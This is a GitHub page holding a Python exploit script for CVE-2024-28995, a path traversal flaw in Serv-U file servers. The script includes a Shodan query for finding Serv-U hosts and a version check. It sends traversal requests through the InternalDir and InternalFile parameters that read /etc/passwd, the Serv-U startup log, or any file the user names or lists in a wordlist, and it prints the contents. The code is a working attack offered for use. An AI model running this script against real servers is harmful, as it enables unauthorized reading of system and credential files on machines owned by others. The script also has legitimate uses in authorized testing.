-
Notifications
You must be signed in to change notification settings - Fork 5
/
CVE-2024-28995.py
157 lines (131 loc) · 6.45 KB
/
CVE-2024-28995.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import requests
import argparse
import re
# Shodan:
# Serv-U product:"Rhinosoft Serv-U httpd"
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# ANSI
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
PURPLE = "\033[95m"
CYAN = "\033[96m"
RESET = "\033[0m"
def banner():
print(f'''{YELLOW}
,,
.M"""bgd `7MM `7MMF' `7MF'
,MI "Y MM MM M
`MMb. .gP"Ya `7Mb,od8 `7M' `MF' .gP"Ya ,M""bMM MM M
`YMMNq. ,M' Yb MM' "' VA ,V ,M' Yb ,AP MM MM M
. `MM 8M"""""" MM VA ,V 8M"""""" 8MI MM MM M
Mb dM YM. , MM VVV YM. , `Mb MM YM. ,M
P"Ybmmd" `Mbmmd' .JMML. W `Mbmmd' `Wbmd"MML. `bmmmmd"'
{RESET}Developed by: {PURPLE}@stuub{RESET}
Github: {CYAN}https://github.com/stuub
{RESET}''')
def get_servu_version(url):
try:
response = requests.get(url, verify=False)
if response.status_code == 200:
server_header = response.headers.get('Server', '')
match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header)
if match:
return match.group(1)
return None
except requests.RequestException as e:
print(f"{RED}[!] Request Exception: {str(e)}{RESET}")
return None
def is_vulnerable_version(version):
vulnerable_version = "15.4.2"
return version_compare(version, vulnerable_version) <= 0
def version_compare(version1, version2):
def normalize(v):
return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")]
parts1 = normalize(version1)
parts2 = normalize(version2)
for part1, part2 in zip(parts1, parts2):
if part1 < part2:
return -1
if part1 > part2:
return 1
return 0
def is_html_content(response_text):
return bool(re.search(r'<!DOCTYPE\s+html|<html', response_text, re.IGNORECASE))
def test_path(url, path):
full_url = f"{url.rstrip('/')}{path}"
print(f"{YELLOW}[*]{RESET} Testing File Read with path: {YELLOW}{full_url}{RESET}")
try:
response = requests.get(full_url, verify=False)
if response.status_code == 200 and not is_html_content(response.text):
print(f"{GREEN}[+]{RESET} File Read Exploited successfully with path {YELLOW}{full_url}{RESET}")
print(f"\n{GREEN}Content:{RESET}\n{response.text.strip()}\n")
return True
else:
print(f"{RED}[-]{RESET} Not Found or HTML Content: {YELLOW}{path}{RESET}\n")
except requests.RequestException as e:
print(f"{RED}[!]{RESET} Request Exception: {str(e)}")
return False
def test_lfi_vulnerability(url, default_paths, custom_path=None, wordlist=None):
try:
print(f"{YELLOW}[*]{RESET} Checking if {url} is running vulnerable Serv-U...")
version = get_servu_version(url)
if version is None:
print(f"{RED}[-]{RESET} Serv-U server not detected")
return
if not is_vulnerable_version(version):
print(f"{RED}[-]{RESET} Serv-U version {version} detected. This version is not vulnerable. Exiting.")
return
else:
print(f"{GREEN}[+]{RESET} Serv-U version {version} detected. This version is vulnerable.\n")
# Test default paths first
os_detected = None
for path_name, path in default_paths.items():
if test_path(url, path):
print(f"{GREEN}[+]{RESET} Target OS: {YELLOW}{path_name.upper()}")
os_detected = path_name
break
# Test custom path if provided
if custom_path:
custom_dir = f"/../../../../../../../../../../../../../../{custom_path['dir']}"
custom_full_path = f"/?InternalDir={custom_dir}&InternalFile={custom_path['file']}"
print(f"{YELLOW}[*]{RESET} Testing custom path for File Read...")
if test_path(url, custom_full_path):
print(f"{GREEN}[+]{RESET} Custom path {custom_path['dir']}/{custom_path['file']} exploited successfully")
# Test wordlist paths if provided
if wordlist:
print(f"{YELLOW}[*]{RESET} Testing File Read with wordlist paths...")
with open(wordlist, 'r') as file:
for line in file:
wordlist_path = line.strip()
full_wordlist_path = f"/../../../../../../../../../../../../../{wordlist_path}"
if test_path(url, full_wordlist_path):
break
except requests.RequestException as e:
print(f"{RED}[!] Request Exception: {str(e)}{RESET}")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-28995 Exploit")
parser.add_argument("-u", "--url", help="URL to exploit", required=True)
parser.add_argument("-d", "--dir", help="Directory path for File Read (e.g., ProgramData/RhinoSoft/Serv-U/)")
parser.add_argument("-f", "--file", help="File to read for File Read (e.g., Serv-U-StartupLog.txt or passwd)")
parser.add_argument("-w", "--wordlist", help="Wordlist for additional paths to test")
args = parser.parse_args()
url = args.url
custom_dir_path = args.dir
custom_file = args.file
wordlist = args.wordlist
default_paths = {
"windows": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt",
"linux": "/?InternalDir=/../../../../etc&InternalFile=passwd"
}
custom_path = None
if custom_dir_path and custom_file:
custom_path = {"dir": custom_dir_path, "file": custom_file}
try:
banner()
print(f"\n{YELLOW}[*]{RESET} Testing File Read vulnerability for {url}...{RESET}\n")
test_lfi_vulnerability(url, default_paths, custom_path, wordlist)
except KeyboardInterrupt:
print(f"\n{RED}[!]{RESET} Keyboard interrupt received. Exiting...")
if __name__ == "__main__":
main()